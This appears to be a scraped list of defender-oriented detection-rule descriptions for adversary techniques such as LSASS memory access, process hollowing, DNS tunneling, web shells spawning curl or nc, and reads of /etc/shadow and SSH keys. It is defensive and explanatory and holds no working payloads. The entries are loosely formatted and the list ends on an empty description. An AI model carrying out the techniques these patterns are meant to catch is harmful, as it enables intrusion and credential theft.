Execution of ping, vmkping, or curl from shell or through automation jobs/scripts to verify Internet egress.
Current version: 1.0
Description:
Detection of excessive or programmatic access to Confluence spaces or pages, particularly by privileged users, through a combination of access logs, API usage, and identity context. Correlates logon sessions, user roles, and abnormal document viewing or export behavior. Identifies burst access patterns and tools/scripts abusing the Confluence API for mass enumeration or data scraping.
Current version: 1.0
Description:
Suspicious processes (e.g., Tor clients, relays, unknown binaries) launch with sustained encrypted outbound traffic to known anonymity infrastructure (e.g., Tor, I2P), and may relay to additional internal systems via reverse proxying, ICMP tunneling, or socket forwarding.
Current version: 1.0
Description:
Tools such as tor, nglite, proxychains, chisel, or custom daemons repeatedly initiate outbound sessions to multiple nodes before final destination. This behavior is abnormal for Linux services outside of VPN, monitoring, or CDN relay contexts.
Current version: 1.0
Description:
LaunchAgents or LaunchDaemons initiate persistent Tor or relay processes that make encrypted outbound connections. May be paired with sandbox bypasses or unsigned executables communicating over SOCKS proxies.
Current version: 1.0
Description:
Outbound encrypted traffic initiated from hypervisor shell or via VM backdoor mechanisms to relays in VPS infrastructure, especially if traversing multiple nodes before reaching Internet destination. Packet captures or firewall logs show non-VM communication paths.
Current version: 1.0
Description:
Encrypted traffic or ICMP tunneling from border routers to internal routers or unknown external IPs. Forwarded traffic shows consistent hop-to-hop relaying without matching configured VPN or expected network topology.
Current version: 1.0
Description:
Detection of domain group enumeration through command-line utilities such as 'net group /domain' or PowerShell cmdlets, followed by suspicious access to API calls or LSASS memory.
Current version: 1.0
Description:
Behavioral detection of domain group enumeration via ldapsearch or custom scripts leveraging LDAP over the network.
Current version: 1.0
Description:
Enumeration of domain groups using dscacheutil or dscl commands, often following initial login or domain trust queries.
Current version: 1.0
Description:
Abuse of Regsvcs.exe or Regasm.exe to execute arbitrary code embedded in .NET assemblies via [ComRegisterFunction]/[ComUnregisterFunction]. Behavioral chain: (1) Process creation of regsvcs/regasm with suspicious assembly paths/flags → (2) Assembly/DLL load inside regsvcs/regasm → (3) Registry writes to HKCR\CLSID/ProgID during COM registration → (4) Optional child process or network activity spawned by installer/registration code.
Current version: 1.0
Description:
Detection of AppCert DLL abuse involves correlating registry modifications to the AppCertDLLs key with subsequent unexpected DLL load behavior during process creation events. Specifically, defenders can observe abnormal DLLs being loaded into standard Windows processes after changes to the 'AppCertDLLs' registry value. Monitoring CreateProcess-family API executions with injected DLLs and linking those DLLs back to recent registry edits is key to identifying misuse. This is often accompanied by elevated privileges and potential lateral movement or discovery behavior.
Current version: 1.0
Description:
A non-privileged or abnormal process attempts to open a handle with full access (0x1F0FFF) to lsass.exe and subsequently invokes memory dump, file creation, or registry modification indicative of credential scraping. This behavior chain reflects staged credential theft activity.
Current version: 1.0
Description:
Detects adversarial abuse of WMI to execute local or remote commands via WMIC, PowerShell, or COM API through a multi-event chain: process creation, command execution, and corresponding network connection if remote.
Current version: 1.0
Description:
Correlation of Registry key creation/modification events under known Run/Startup keys with new or unusual binary paths or script-based payloads. Multi-event detection includes registry modification followed by process execution from non-standard directories or abnormal parent-child process relationships.
Current version: 1.0
Description:
Detects adversary behavior where a file with a benign-looking first extension (e.g., .txt, .jpg) ends with a dangerous second extension (e.g., .exe, .scr), and is subsequently executed. The behavior chain includes file creation with misleading naming and user or system-initiated process execution from the disguised file.
Current version: 1.0
Description:
Correlates Group Policy updates that configure network logon scripts with subsequent remote file execution behaviors triggered by user logons to identify potential persistence or execution chains tied to adversarial manipulation of logon scripts.
Current version: 1.0
Description:
Detects tampered hardware or firmware via anomalous host status telemetry. Behavioral chain: (1) Pre-OS or firmware components exhibit unexpected version changes, signature failures, or modified boot paths; (2) System management/firmware tools log hardware inventory drift; (3) Sensor health telemetry or boot attestation events fail baseline checks; (4) Follow-on process execution from altered firmware or unknown drivers after boot.
Current version: 1.0
Description:
Monitors for hardware or firmware tampering by correlating system boot logs, hardware inventory changes, and secure boot/firmware verification failures. Behavioral chain: (1) UEFI/BIOS version drift; (2) secure boot disabled or signature verification errors; (3) unexpected modules or hardware devices enumerated at boot; (4) new device firmware images loaded from non-approved sources.
Current version: 1.0
Description:
Detects tampered Mac hardware/firmware by analyzing unified logs, EndpointSecurity events, and Apple Mobile File Integrity (AMFI) checks. Behavioral chain: (1) Boot process reports firmware signature mismatch; (2) Secure Boot policy altered; (3) new EFI drivers or hardware devices appear in inventory; (4) system extension loads from unapproved developer IDs post-boot.
Current version: 1.0
Description:
Correlate file modifications in shell startup scripts (e.g., .bashrc, .profile) with embedded trap commands and observe if those changes are followed by the unexpected execution of child processes when terminal signals (e.g., SIGINT) are triggered. Use contextual linking with user session activity to detect privilege misuse.
Current version: 1.0
Description:
Detect unauthorized trap command registrations in shell startup files (e.g., .zprofile, .bash_profile, .zshrc) followed by execution chains during user terminal interaction. Use Unified Logs and EDR telemetry to correlate shell command parsing and process tree anomalies.
Current version: 1.0
Description:
Execution of file enumeration commands (e.g., 'dir', 'tree') from non-standard processes or unusual user contexts, followed by recursive directory traversal or access to sensitive locations.
Current version: 1.0
Description:
Use of file enumeration commands (e.g., 'ls', 'find', 'locate') executed by suspicious users or scripts accessing broad file hierarchies or restricted directories.
Current version: 1.0
Description:
Execution of file or directory discovery commands (e.g., 'ls', 'find') from terminal or script-based tooling, especially outside normal user workflows.
Current version: 1.0
Description:
Execution of esxcli commands to enumerate datastore, configuration files, or directory structures by unauthorized or remote users.
Current version: 1.0
Description:
Execution of file discovery commands (e.g., 'dir', 'show flash', 'nvram:') from CLI interfaces, especially by unauthorized users or from abnormal source IPs.
Current version: 1.0
Description:
Monitor for suspicious use of Windows API calls such as IsDebuggerPresent() and NtQueryInformationProcess(), or processes manually checking the BeingDebugged flag in the Process Environment Block (PEB). Detect sequences of OutputDebugStringW() calls in short intervals that may indicate debugger flooding attempts.
Current version: 1.0
Description:
Monitor access to /proc/self/status where TracerPID field is queried, as this is a common technique for debugger detection. Detect processes that attempt to trigger exceptions intentionally and monitor whether exception handling indicates presence of a debugger.
Current version: 1.0
Description:
Detect suspicious calls to sysctl or ptrace API used to determine if a process is being debugged. Monitor for processes that flood OutputDebugString equivalents or generate abnormal exceptions to evade analysis.
Current version: 1.0
Description:
Correlated use of sleep/delay mechanisms (e.g., kernel32!Sleep, NTDLL APIs) in short-lived processes, combined with parent processes invoking suspicious scripts (e.g., wscript, powershell) with minimal user interaction.
Current version: 1.0
Description:
Shell scripts or binaries invoking repeated 'sleep', 'ping', or low-level syscalls (e.g., nanosleep) in short-lived execution chains with no user or system interaction. Frequently seen in malicious cron jobs or payload stagers.
Current version: 1.0
Description:
Execution of AppleScript, bash, or launchd jobs that invoke delay functions (e.g., sleep, delay in AppleScript) with limited parent interaction and staged follow-on commands.
Current version: 1.0
Description:
Detection of anomalous or unauthorized mailbox delegation activity (e.g., Add-MailboxPermission, Default/Anonymous mailbox permissions, Gmail delegation setup).
Current version: 1.0
Description:
Execution of PowerShell commands that modify mailbox permissions using Exchange cmdlets (e.g., Add-MailboxPermission), often tied to BEC or post-compromise persistence.
Current version: 1.0
Description:
Correlate creation or modification of serverless functions (e.g., AWS Lambda, GCP Cloud Functions, Azure Functions) with anomalous IAM role assignments or permissions escalation events. Detect subsequent executions of newly created functions that perform unexpected actions such as spawning outbound network connections, accessing sensitive resources, or creating additional credentials.
Current version: 1.0
Description:
Monitor for creation of new Power Automate flows or equivalent automation scripts that trigger on user or file events. Detect anomalous actions performed by these automations, such as email forwarding, anonymous link creation, or unexpected API calls to external endpoints.
Current version: 1.0
Description:
Track creation or update of SaaS automation scripts (e.g., Google Workspace Apps Script). Detect when these scripts are bound to user events such as file opens or account modifications, and correlate with subsequent abnormal API calls that exfiltrate or modify user data.
Current version: 1.0
Description:
Monitor for creation or modification of udev rules files in key directories (/etc/udev/rules.d/, /lib/udev/rules.d/, /usr/lib/udev/rules.d/). Look for RUN+= or IMPORT keys invoking suspicious binaries or scripts. Correlate this with process execution from systemd-udevd context, and file writes near udev reload/restart events. Combine this with unexpected background process spawning from udevd-related forks.
Current version: 1.0
Description:
Detects processes performing network enumeration (e.g., port scans, service probing) by correlating process creation, socket connections, and sequential destination IP probing within a time window.
Current version: 1.0
Description:
Detects use of network scanning utilities or scripts performing rapid connections to multiple services or hosts using auditd and netflow/pcap telemetry.
Current version: 1.0
Description:
Detects Bonjour-based mDNS enumeration or use of system tools (e.g., dns-sd, nmap) to find active services via multicast probing or targeted scans.
Current version: 1.0
Description:
Detects lateral discovery or container breakout attempts using netcat, curl, or custom binaries probing other services within the same namespace or VPC subnet.
Current version: 1.0
Description:
Unauthorized or anomalous loading of kernel-mode drivers or DLLs, concealed services, or abnormal modification of boot components indicative of rootkit activity.
Current version: 1.0
Description:
Abnormal loading of kernel modules, direct tampering with /dev, /proc, or LD_PRELOAD behaviors hiding processes or files.
Current version: 1.0
Description:
Execution of unsigned kernel extensions (KEXTs), tampering with LaunchDaemons, or userspace hooks into system libraries.
Current version: 1.0
Description:
Correlates script execution or suspicious parent processes with creation or modification of encoded, compressed, or encrypted file formats (e.g., .zip, .7z, .enc) and abnormal command-line syntax or PowerShell obfuscation.
Current version: 1.0
Description:
Detects use of gzip, base64, tar, or openssl in scripts or commands that encode/encrypt files after file staging or system enumeration.
Current version: 1.0
Description:
Monitors use of archive or encryption tools (zip, openssl) tied to user-scripted activity or binaries writing encoded payloads under /Users or /Volumes.
Current version: 1.0
Description:
Identifies transfer of base64, uuencoded, or high-entropy files over HTTP, FTP, or custom protocols in lateral movement or exfiltration streams.
Current version: 1.0
Description:
Detects encoded PowerCLI or Base64-encoded payloads staged via datastore uploads or shell access (e.g., ESXi Shell or backdoored VIBs).
Current version: 1.0
Description:
Detects rogue Wi-Fi access points broadcasting the same SSID as legitimate APs with stronger signal strength, unexpected MAC/BSSID values, or inconsistent encryption settings. Correlates authentication attempts, captive portal redirections, and anomalous traffic flows through unauthorized APs.
Current version: 1.0
Description:
Adversaries collecting local files via PowerShell, WMI, or direct file API calls often include recursive file listings, targeted file reads, and temporary file staging.
Current version: 1.0
Description:
Adversaries using bash scripts or tools to recursively enumerate user home directories, config files, or SSH keys.
Current version: 1.0
Description:
Adversary use of bash/zsh or AppleScript to locate files and exfil targets like user keychains or documents.
Current version: 1.0
Description:
Collection of device configuration via CLI commands (e.g., show running-config, copy flash, more), often followed by TFTP/SCP transfers.
Current version: 1.0
Description:
Adversaries accessing datastore or configuration files via vim-cmd, esxcli, or SCP to extract logs, VMs, or host configurations.
Current version: 1.0
Description:
Correlates file enumeration of XML files in the SYSVOL share with suspicious process execution that decodes or reads encrypted credentials embedded in Group Policy Preference files (e.g., Get-GPPPassword.ps1, gpprefdecrypt.py, Metasploit). Detects abnormal access to \DOMAIN\SYSVOL combined with XML file parsing or decryption logic.
Current version: 1.0
Description:
Detects adversary use of suspended process creation, using the CREATE_SUSPENDED flag via CreateProcess, followed by unmapping the memory of the child process (NtUnmapViewOfSection) and replacing it with malicious code via VirtualAllocEx/WriteProcessMemory, then SetThreadContext and ResumeThread to begin execution within the hollowed process.
Current version: 1.0
Description:
Detects adversary behavior where a newly created or renamed user account closely resembles existing service or administrator accounts to blend in and avoid detection. Common patterns include prefix/suffix modifications, homoglyphs, or use of names like 'admin1', 'adm1n', or 'backup_help'.
Current version: 1.0
Description:
Detects creation or renaming of accounts with names that closely match known service, root, or admin accounts. Behavior often follows account discovery or deletion, attempting to blend into system activity logs using trusted name conventions.
Current version: 1.0
Description:
Detects adversary creation of cloud or IdP accounts whose names resemble existing privileged or service accounts. May indicate preparation for privilege escalation or defense evasion.
Current version: 1.0
Description:
Monitors for the creation of accounts inside containers using names that resemble legitimate orchestrator or backup identities to mask adversary persistence.
Current version: 1.0
Description:
Detects bash, sh, zsh, or BusyBox shell execution initiated via remote sessions, unauthorized users, or embedded within secondary script interpreters. Focus is on chained behavior: shell > suspicious commands > network discovery or persistence indicators.
Current version: 1.0
Description:
Identifies use of sh/bash/zsh in suspicious context, such as user scripts launched from non-standard apps (e.g., Preview.app), embedded in LaunchDaemons, or executed outside Terminal.app. Looks for misuse in Automator, LaunchAgents, or NSAppleScript-executed shell.
Current version: 1.0
Description:
Detects BusyBox or Ash shell execution from unauthorized logins or remote connections. Focus is on rare shell invocations from DCUI, SSH sessions, or remote management paths. Also watches for payload droppers or persistence artifacts using shell.
Current version: 1.0
Description:
Detects Unix shell usage on network appliances (e.g., routers, firewalls, embedded Linux) through rare console commands, CLI interfaces, or script injection via exposed APIs or SSH.
Current version: 1.0
Description:
A process outside of interactive shell context reads ~/.bash_history directly (e.g., using cat, less, grep), often shortly after privilege escalation or user switch (su/sudo). This may be followed by credential scanning in memory or file writes to new locations.
Current version: 1.0
Description:
A process or terminal command outside of standard shell utilities reads the user's .bash_history file. On macOS, unified logs or telemetry tools like EndpointSecurity (ESF) may observe file read APIs or terminal process lineage that shows non-user-initiated access.
Current version: 1.0
Description:
Enumeration of identity roles and users via API calls such as Get-MsolRoleMember, az ad user list, or Graph API tokens from unauthorized users or automation accounts.
Current version: 1.0
Description:
Use of AWS CLI (aws iam list-users, list-roles), Azure CLI (az ad user list), or GCP CLI (gcloud iam service-accounts list) from endpoints or cloud shells where such activity is unexpected.
Current version: 1.0
Description:
Bulk enumeration of cloud user email identities through Get-Recipient, Get-Mailbox, Get-User, or Graph API directory listings by abnormal accounts or suspicious sessions.
Current version: 1.0
Description:
Access to organizational directories via Google Workspace Directory API, Slack SCIM, or Okta SCIM by apps or identities outside normal roles.
Current version: 1.0
Description:
Detects anomalous ARP traffic or cache modifications on Windows endpoints that indicate ARP poisoning. Behavioral focus is on multiple IP addresses resolving to a single MAC, or unsolicited ARP replies from unauthorized devices.
Current version: 1.0
Description:
Detects suspicious gratuitous ARP responses or inconsistent IP-to-MAC mappings using auditd and packet capture. Behavioral focus is on unsolicited replies overriding legitimate ARP ownership.
Current version: 1.0
Description:
Detects anomalous ARP cache changes and unsolicited ARP broadcasts using unified logs and packet capture. Behavioral detection includes multiple IP addresses mapped to the same MAC address and repeated gratuitous ARP traffic.
Current version: 1.0
Description:
Detects a multi-event behavior chain involving UAC bypass attempts via known auto-elevated binaries (e.g., eventvwr.exe, sdclt.exe), unauthorized Registry changes to UAC-related keys, and anomalous process execution with elevated privileges but lacking standard parent-child lineage. Suspicious patterns include invocation of auto-elevated COM objects or manipulation of isolatedCommand Registry entries without consent prompts.
Current version: 1.0
Description:
Detects DLL injection through correlation of memory allocation and writing to remote process memory (e.g., VirtualAllocEx, WriteProcessMemory), followed by remote thread creation (e.g., CreateRemoteThread) that loads a suspicious or unsigned DLL using LoadLibrary or reflective loading.
Current version: 1.0
Description:
Correlation of file creation/modification of .desktop files within XDG autostart directories, followed by execution of processes at user login initiated by the desktop environment. Malicious entries typically include suspicious Exec paths or anomalous names and are not associated with installed packages.
Current version: 1.0
Description:
Monitor for runtime data manipulations by detecting suspicious modification of application binaries, API hooking, or unexpected behavior from processes responsible for rendering or displaying data. Correlate registry edits, process creation, and unexpected binary hash mismatches.
Current version: 1.0
Description:
Detect runtime manipulation by monitoring system calls for modifications to shared libraries, ELF binaries, or environment variables that affect how data is displayed. Look for suspicious writes to application directories and mismatch in binary integrity baselines.
Current version: 1.0
Description:
Monitor for runtime manipulation by observing changes in application bundles, unexpected signing modifications, and runtime API calls that inject or alter how data is displayed. Detect alterations in CFNetwork or CoreFoundation frameworks responsible for rendering data.
Current version: 1.0
Description:
Adversary spawns a process or script to enumerate installed software using WMI, registry, or PowerShell, potentially followed by additional discovery or evasion behavior.
Current version: 1.0
Description:
Adversary invokes 'dpkg -l', 'rpm -qa', or other package managers via shell or script to enumerate installed software.
Current version: 1.0
Description:
Adversary runs 'system_profiler SPApplicationsDataType' or queries plist files to enumerate software via Terminal or scripts.
Current version: 1.0
Description:
Adversary uses cloud-native APIs or CLI (e.g., AWS Systems Manager, Azure Resource Graph) to list installed software on cloud workloads.
Current version: 1.0
Description:
Adversary uses 'esxcli software vib list' to enumerate installed VIBs, drivers, and modules.
Current version: 1.0
Description:
Multiple AWS CloudTrail events indicating temporary privilege escalation via PassRole and AssumeRole targeting newly created services or non-interactive infrastructure.
Current version: 1.0
Description:
Token creation or access delegation where a user impersonates a higher-privileged service account or performs domain-wide delegation actions, such as GCP's serviceAccountTokenCreator or Workspace impersonation.
Current version: 1.0
Description:
Detection of ApplicationImpersonation role assignment or delegated mailbox access to service principals or rarely used users, especially outside of normal hours or geographic norms.
Current version: 1.0
Description:
Unexpected file creation in web directories followed by web server processes (e.g., w3wp.exe) spawning command shells or script interpreters (e.g., cmd.exe, powershell.exe)
Current version: 1.0
Description:
File creation of unauthorized script (e.g., .php, .sh) in /var/www/html followed by execution of unexpected system utilities (e.g., curl, bash, nc) by apache/nginx
Current version: 1.0
Description:
Web servers (e.g., httpd) spawning abnormal processes post file upload into /Library/WebServer/Documents or /usr/local/var/www
Current version: 1.0
Description:
Detects abuse of AuthorizationExecuteWithPrivileges API to gain elevated privileges via user credential prompts, typically through invocation of /usr/libexec/security_authtrampoline. Detection involves correlation of API usage, binary reputation, and prompt context.
Current version: 1.0
Description:
Detects suspicious access to macOS Keychain files and APIs. Observes processes invoking the 'security' utility or accessing Keychain databases directly, correlates these with abnormal parent process lineage or unexpected user context. Monitors attempts to dump, unlock, or read credential storage beyond normal application workflows.
Current version: 1.0
Description:
Detection of automated tools or scripts periodically transmitting data to external destinations using scheduled tasks or background processes.
Current version: 1.0
Description:
Background scripts (e.g., via cron) or daemons transmitting data repeatedly to remote IPs or URLs.
Current version: 1.0
Description:
Observation of LaunchAgents or LaunchDaemons establishing periodic external connections indicative of automated data transfer.
Current version: 1.0
Description:
Office-based persistence via Office template macros, Outlook forms/rules/homepage, or registry-persistent scripts. Adversary modifies registry keys or Office application directories to load malicious scripts at startup.
Current version: 1.0
Description:
Startup-based persistence mechanisms within Microsoft Office Suite like template macros and home page redirects being configured through internal automation or client-side settings.
Current version: 1.0
Description:
Recurring network exfiltration initiated by scheduled or script-based processes exhibiting time-based regularity and consistent external destinations.
Current version: 1.0
Description:
Detection of cron-based or script-based recurring transfers where the same script, user, or destination reappears at predictable intervals.
Current version: 1.0
Description:
LaunchAgent or launchd recurring jobs initiating data transfer to consistent external IPs or domains with repeat timing signatures.
Current version: 1.0
Description:
Detects high-frequency or anomalous DNS queries initiated by non-browser, non-system processes (e.g., PowerShell, rundll32, python.exe) used to establish command and control via DNS tunneling.
Current version: 1.0
Description:
Detects local daemons or scripts generating outbound DNS queries with long or frequent subdomains, indicative of DNS tunneling via tools like iodine, dnscat2, or dig from cronjobs or reverse shells.
Current version: 1.0
Description:
Detects scripting environments (AppleScript, osascript, curl) or non-native tools performing DNS queries with encoded subdomains, often used for data exfiltration or beaconing.
Current version: 1.0
Description:
Detects clients issuing DNS queries with high volume, long subdomain lengths, encoded payload patterns, or to known malicious infrastructure; indicative of DNS-based C2 channels.
Current version: 1.0
Description:
Detects unusual outbound DNS traffic from ESXi hosts, often from shell scripts, custom daemons, or malicious VIBs interacting with external DNS infrastructure outside the management plane.
Current version: 1.0
Description:
Creation or modification of .plist files in /Library/LaunchDaemons/, especially those with suspicious Program or ProgramArguments paths, combined with execution activity under launchd with elevated privileges. Detectable through correlated Unified Logs, file monitoring, and process telemetry.
Current version: 1.0
Description:
Unusual enumeration of services and resources through cloud APIs such as AWS CLI describe-*, Azure Resource Manager queries, or GCP project listings. Defender perspective includes anomalous API calls, unexpected volume of service enumeration, and correlation of discovery with recently compromised sessions.
Current version: 1.0
Description:
Enumeration of directories, applications, or service principals through APIs such as Microsoft Graph or Okta API. Defender perspective includes unexpected listing of users, roles, applications, and abnormal access to identity management endpoints.
Current version: 1.0
Description:
Discovery of SaaS services connected to productivity platforms (e.g., Microsoft 365, Google Workspace). Defender perspective includes unexpected enumeration of enabled services, API integrations, or OAuth applications tied to user accounts.
Current version: 1.0
Description:
Discovery of connected SaaS applications, APIs, or configurations within platforms like Salesforce, Slack, or Zoom. Defender perspective includes enumeration of available integrations, abnormal querying of service metadata, and follow-on attempts to exploit or persist via discovered services.
Current version: 1.0
Description:
Configuration changes to virtual TAP/mirror policies that forward traffic to unapproved destinations. Detection correlates management plane API calls with mirrored traffic observation.
Current version: 1.0
Description:
Unauthorized mirroring sessions initiated on routers/switches (e.g., via monitor session, mirror port) coupled with outbound traffic from mirrored interface to unexpected destinations.
Current version: 1.0
Description:
Monitor Windows Registry modifications to Winlogon keys (Shell, Userinit, Notify) that introduce new executable or DLL paths. Correlate these changes with subsequent DLL loading, image loads, or process creation originating from winlogon.exe or userinit.exe. Abnormal child process lineage or unauthorized binaries in C:\Windows\System32 may indicate abuse.
Current version: 1.0
Description:
Correlates LNK file execution with embedded resource extraction or suspicious network activity following initial launch, often leading to payload delivery via disguised icons.
Current version: 1.0
Description:
Abuse of extended attributes (xattrs) to embed hidden payloads into legitimate files. Defender perspective: detect anomalous use of setfattr or getfattr commands, or direct syscalls (setxattr, getxattr) where attributes are unusually large or contain encoded data. Behavior chain includes: (1) execution of setfattr with suspicious namespaces (user., trusted.), (2) file metadata modification inconsistent with file size/hash, and (3) subsequent process execution reading attributes followed by decoding activity.
Current version: 1.0
Description:
Abuse of extended attributes (xattrs) to hide payloads in com.apple. or custom keys. Defender perspective: monitor suspicious use of xattr command with -w (write) and -p (print) flags, especially when followed by execution of interpreters like bash, Python, or osascript. Behavior chain includes: (1) suspicious file modification with new com.apple. attributes, (2) attribute content inconsistent with expected metadata tags (e.g., high entropy), (3) subsequent process execution correlated with extraction of the attribute.
Current version: 1.0
Description:
Detects anomalous usage of local accounts to log into a system, especially accounts not typically used interactively or outside business hours.
Current version: 1.0
Description:
Detects interactive or service logins from local accounts outside expected operational context or at anomalous times.
Current version: 1.0
Description:
Detects abnormal or rare logins via local accounts through system or remote mechanisms such as SSH.
Current version: 1.0
Description:
Outbound spoofed traffic to known amplification protocols (e.g., DNS, NTP, Memcached) combined with abnormal network traffic volume targeting remote reflectors, resulting in disproportionate traffic returned to a victim
Current version: 1.0
Description:
Spoofed outbound packets sent to amplification services from command-line tools or scripts, combined with abnormal outbound packet volume on known reflector ports
Current version: 1.0
Description:
Command-line initiated UDP traffic bursts to external reflection amplification ports using built-in scripting or binaries with network anomalies
Current version: 1.0
Description:
Cloud-hosted VM or container generates spoofed UDP requests to third-party services on known amplifier ports, with high outbound-to-inbound traffic ratios in VPC Flow Logs
Current version: 1.0
Description:
Detects anomalous NTLM LogonType 3 authentications that occur without accompanying domain logon events, especially from lateral systems or involving built-in administrative tools. Monitors for mismatches between source user context and system being accessed. Correlates LogonSession creation, NTLM authentications, and process/service initiation to identify suspicious use of stolen password hashes for remote access or service logon without password entry. Detects overpass-the-hash by combining Kerberos ticket issuance with NTLM-based lateral movement.
Current version: 1.0
Description:
Monitoring of file access to network shares (e.g., C$, Admin$) followed by unusual read or copy operations by processes not typically associated with such activity (e.g., PowerShell, certutil).
Current version: 1.0
Description:
Unusual access or copying of files from mounted network drives (e.g., NFS, CIFS/SMB) by user shells or scripts followed by large data transfer.
Current version: 1.0
Description:
Detection of file access from mounted SMB shares followed by copy or exfil commands from Terminal or script interpreter processes.
Current version: 1.0
Description:
Monitor DNS queries, proxy logs, and user-agent strings for anomalous patterns associated with adversary attempts to hide infrastructure. Defenders may observe DNS resolutions to short-lived domains, abnormal WHOIS registration data, or filtering of known defensive/responder IP addresses.
Current version: 1.0
Description:
Detect adversaries filtering traffic or modifying server responses to evade scanning. Monitor iptables, nftables, or proxy configurations that deny or redirect requests from known scanning agents or defensive tools.
Current version: 1.0
Description:
Monitor unified logs for manipulation of proxy configurations, DNS resolution, or filtering rules. Adversaries may redirect responses or use trusted domains that later resolve to malicious C2 infrastructure.
Current version: 1.0
Description:
Inspect network telemetry for adversary attempts to blend malicious traffic with legitimate flows using VPNs, proxies, or geolocation spoofing. Defensive teams may observe anomalous tunnels, encrypted sessions to suspicious domains, or geo-mismatched IP activity.
Current version: 1.0
Description:
Monitor VM-level DNS and network traffic logs for adversary-controlled domains or selective response behavior (e.g., dropped requests from security scanners).
Current version: 1.0
Description:
Unusual access to bash history, registry credentials paths, or private key files by unauthorized or scripting tools, with correlated file and process activity.
Current version: 1.0
Description:
Reading of sensitive files like .bash_history, /etc/shadow, or private key directories by unauthorized users or unusual processes.
Current version: 1.0
Description:
Unusual access to ~/Library/Keychains, ~/.bash_history, or Terminal command history by unauthorized processes or users.
Current version: 1.0
Description:
Unusual web-based access or API scraping of password managers, single sign-on sessions, or credential sync services via browser automation or anomalous API tokens.
Current version: 1.0
Description:
Unauthorized API or console calls to retrieve or reset password credentials, download key material, or modify SSO settings.
Current version: 1.0
Description:
Access to container image layers or mounted secrets (e.g., Docker secrets) by processes not tied to entrypoint or orchestration context.
Current version: 1.0
Description:
Use of configuration backup utilities or CLI access to dump plaintext passwords, local user hashes, or SNMP strings.
Current version: 1.0
Description:
Programmatic or excessive access to file shares, SharePoint, or database repositories by users not typically interacting with them. This includes abnormal access by privileged accounts, enumeration of large numbers of files, or downloads of sensitive content in bursts.
Current version: 1.0
Description:
Command-line tools (e.g., curl, rsync, wget, or custom Python scripts) used to scrape documentation systems or internal REST APIs. Unusual access patterns to knowledge base folders or shared team drives.
Current version: 1.0
Description:
Abuse of SaaS platforms such as Confluence, GitHub, SharePoint Online, or Slack to access excessive internal documentation or export source code/data. Includes use of tokens or browser automation from unapproved IPs.
Current version: 1.0
Description:
Access of mounted cloud shares or document repositories via browser, terminal, or Finder by users not typically interacting with those resources. Includes script-based enumeration or mass download.
Current version: 1.0
Description:
Detects AppleScript execution via 'osascript', NSAppleScript/OSAScript APIs, and abnormal application control events across user sessions. Focuses on causal chains such as osascript spawning child processes, script-induced keystrokes, or API-backed dialog spoofing.
Current version: 1.0
Description:
Repeated invocation of high-resource application endpoints or GUI components causing CPU and memory spikes, logged as elevated request volumes, prolonged handle locks, or frequent crash recoveries.
Current version: 1.0
Description:
Automated scripts or repeated CLI/API requests that trigger application backends to consume high CPU or memory (e.g., Apache/PHP, MySQL, mail servers), resulting in syslog errors and excessive process spawning.
Current version: 1.0
Description:
Repetitive triggering of GUI or backend application workflows that cause increased CPU/memory usage, logged in unified logs as spin reports or crash dumps.
Current version: 1.0
Description:
Automated abuse of cloud-hosted applications (e.g., web apps, REST endpoints, internal APIs) causing compute exhaustion, high 5xx error rates, or frequent autoscaling triggers logged in app insights or cloudwatch.
Current version: 1.0
Description:
Detects FTP, SMB, or TFTP traffic initiated by suspicious processes like PowerShell, cmd.exe, or rundll32.exe—especially with large outbound file transfers or unbalanced traffic volume.
Current version: 1.0
Description:
Detects usage of FTP, SCP, or TFTP by non-interactive shells or automation scripts transferring large data volumes to untrusted IPs.
Current version: 1.0
Description:
Detects Automator, AppleScript, or Terminal executing curl, lftp, or TFTP for binary transfer to untrusted IPs or unusual ports.
Current version: 1.0
Description:
Detects file movement or outbound TFTP/FTP transfers from ESXi host initiated via shell commands or injected scripts, particularly from scratch partitions or /tmp.
Current version: 1.0
Description:
Detects internal hosts generating large outbound FTP/TFTP/SMB sessions to external IPs, or file transfers using non-standard ports and application mismatches (e.g., FTP over port 80).
Current version: 1.0
Description:
Monitor command execution of powercfg.exe with arguments modifying sleep, hibernate, or display timeouts. Abnormal or repeated modifications to power settings outside administrative baselines may indicate persistence attempts. Correlate process creation with registry and system configuration changes to build behavioral chains.
Current version: 1.0
Description:
Detect execution of system utilities (systemctl, systemd-inhibit, systemdsleep) modifying sleep or hibernate behavior. Abnormal edits to system configuration files (e.g., /etc/systemd/sleep.conf) should be correlated with process execution to identify persistence techniques.
Current version: 1.0
Description:
Monitor pmset command executions altering sleep/hibernate/standby parameters. Unexpected modifications to /Library/Preferences/SystemConfiguration/com.apple.PowerManagement.plist or similar files should be correlated with process activity.
Current version: 1.0
Description:
Multi-stage Windows DACL manipulation behavioral chain: (1) Process creation of permission-modifying utilities (icacls.exe, takeown.exe, attrib.exe, cacls.exe) or PowerShell ACL cmdlets, (2) Command-line analysis revealing privilege escalation intent through suspicious parameters (/grant, /takeown, /T, Set-Acl), (3) DACL modification events (4670) correlating with process execution, (4) Subsequent file access attempts (4663) indicating successful permission bypass, (5) Potential follow-on persistence or lateral movement activities
Current version: 1.0
Description:
Correlate DNS queries that generate domains with high entropy or gibberish patterns, combined with short-lived connections from unusual processes. Monitor Sysmon DNS events and Windows Security logs for abnormal query rates and failed lookups.
Current version: 1.0
Description:
Identify processes issuing repeated DNS queries to random-looking domains with abnormal entropy or word concatenations. Correlate resolver logs with high NXDOMAIN rates and auditd socket connections.
Current version: 1.0
Description:
Monitor unified DNS logs for abnormal domain queries with low lexical similarity to known domains, repeated failed lookups, and random string structures. Cross-check with process logs to confirm unusual origins (non-browser apps).
Current version: 1.0
Description:
Use ESXi syslogs to track abnormal DNS query patterns from management agents or VMs. Identify high-frequency, low-TTL, or unresolvable domains as suspicious. Correlate with unusual management plane process activity.
Current version: 1.0
Description:
Process execution that probes user activity artifacts (e.g., desktop files, registry history) following recent user login/unlock events.
Current version: 1.0
Description:
Access to shell history or GUI input state (xdotool, xinput) for presence validation prior to payload execution.
Current version: 1.0
Description:
API usage or filesystem access revealing user state or browser artifacts (e.g., Safari bookmarks, CGEventState).
Current version: 1.0
Description:
Detection focuses on abnormal service executions initiated via service control manager APIs, sc.exe, net.exe, or PsExec creating temporary services. Defenders observe process creation of services.exe spawning non-standard binaries, registry changes in service keys followed by rapid execution, and network connections originating from processes tied to transient services. Correlation across process lineage, registry activity, and service logs provides strong signals of malicious service execution.
Current version: 1.0
Description:
Registry key modifications under IFEO paths (e.g., Debugger value set under Image File Execution Options), especially for security-related or accessibility binaries, followed by anomalous process execution with debugger flags or SYSTEM-level access at login. Detectable by correlating registry modifications, process creation, and parent-child anomalies with unusual command-line usage or access tokens.
Current version: 1.0
Description:
